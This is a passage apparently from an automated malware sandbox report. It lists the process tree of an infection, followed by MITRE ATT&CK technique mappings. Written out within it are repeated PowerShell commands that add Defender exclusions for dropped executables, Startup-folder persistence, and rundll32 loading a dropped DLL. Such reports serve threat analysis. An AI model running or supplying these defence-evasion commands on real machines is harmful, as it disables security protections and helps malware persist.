4⤵
PID:6844

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
4⤵
PID:6468

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
4⤵
PID:1816

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
4⤵
PID:5136

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force
4⤵
PID:5092

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
4⤵
PID:1904

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force
4⤵
PID:7980

C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe"
4⤵
PID:17936

C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe"
4⤵
PID:5240

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force
3⤵
PID:3984

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\BA11.exe" -Force
3⤵
PID:2912

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\BA11.exe" -Force
3⤵
PID:4184

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force
3⤵
PID:5268

C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
3⤵
- Executes dropped EXE
PID:5732

C:\Users\Admin\AppData\Local\Temp\2986.exe
C:\Users\Admin\AppData\Local\Temp\2986.exe
2⤵
PID:3200

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3200 -s 472
3⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:3536

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3200 -s 480
3⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:7704

C:\Users\Admin\AppData\Local\Temp\574D.exe
C:\Users\Admin\AppData\Local\Temp\574D.exe
2⤵
PID:3156

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3156 -s 280
3⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:7680

C:\Users\Admin\AppData\Local\Temp\933E.exe
C:\Users\Admin\AppData\Local\Temp\933E.exe
2⤵
PID:2064

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2064 -s 276
3⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:7912

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe ab86b31a5f2840a6a79597b225f99baf HFOPpZ1aR0eLKwm8XT6OOA.0.1.0.3.0
1⤵
- Modifies data under HKEY_USERS
PID:3300

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:4400

C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\Tue196397c0f84f8.exe
"C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\Tue196397c0f84f8.exe" /SILENT
1⤵
- Executes dropped EXE
PID:5044

C:\Users\Admin\AppData\Local\Temp\is-J5KEN.tmp\Tue196397c0f84f8.tmp
"C:\Users\Admin\AppData\Local\Temp\is-J5KEN.tmp\Tue196397c0f84f8.tmp" /SL5="$300A2,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\Tue196397c0f84f8.exe" /SILENT
2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2220

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1584 -ip 1584
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4416

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:5468

C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
2⤵
PID:5784

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 4632 -ip 4632
1⤵
PID:5596

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:5964

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
2⤵
- Loads dropped DLL
PID:5996

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5996 -s 448
3⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:5140

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 5996 -ip 5996
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6136

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 1448 -ip 1448
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4492

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 3788 -ip 3788
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5532

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 1888 -ip 1888
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5428

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 5732 -ip 5732
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5728

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 1968 -ip 1968
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6704

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 916 -ip 916
1⤵
PID:6752

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 4484 -ip 4484
1⤵
PID:7072

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 3772 -ip 3772
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6968

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:5076

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 5404 -ip 5404
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2576

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 3720 -ip 3720
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2784

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 684 -p 5968 -ip 5968
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6920

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 728 -p 1888 -ip 1888
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6752

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 688 -p 4384 -ip 4384
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4752

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 756 -p 4612 -ip 4612
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5724

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 804 -p 4984 -ip 4984
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:7112

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 4244 -ip 4244
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5580

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 6672 -ip 6672
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4880

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:6472

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
2⤵
- Loads dropped DLL
PID:4652

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4652 -s 448
3⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:3524

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 644 -p 4652 -ip 4652
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Executes dropped EXE
PID:3772

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 5404 -ip 5404
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1588

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 356 -p 6632 -ip 6632
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1624

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 576 -p 3920 -ip 3920
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4032

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 7644 -ip 7644
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4196

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 5236 -ip 5236
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5984

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 5772 -ip 5772
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:7768

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 752 -p 5052 -ip 5052
1⤵
PID:7412

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 7248 -ip 7248
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1060

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:660

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
2⤵
- Loads dropped DLL
PID:6512

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6512 -s 448
3⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:1760

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 6512 -ip 6512
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1472

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 6324 -ip 6324
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6712

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe ab86b31a5f2840a6a79597b225f99baf HFOPpZ1aR0eLKwm8XT6OOA.0.1.0.3.0
1⤵
- Modifies data under HKEY_USERS
PID:2540

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 7660 -ip 7660
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5372

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 500 -ip 500
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5776

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 708 -p 3200 -ip 3200
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1296

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 3200 -ip 3200
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:7904

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 3156 -ip 3156
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:8020

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 704 -p 2064 -ip 2064
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:7548

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4584

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Command-Line Interface

T1059

Persistence

Winlogon Helper DLL

T1004

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Bypass User Account Control

T1088

Scheduled Task

T1053

Defense Evasion

Modify Registry

Disabling Security Tools

T1089

Bypass User Account Control

T1088

Virtualization/Sandbox Evasion

T1497

Impair Defenses

T1562

Credential Access

Credentials in Files

T1081

Discovery

Software Discovery

T1518

Query Registry

Virtualization/Sandbox Evasion

T1497

System Information Discovery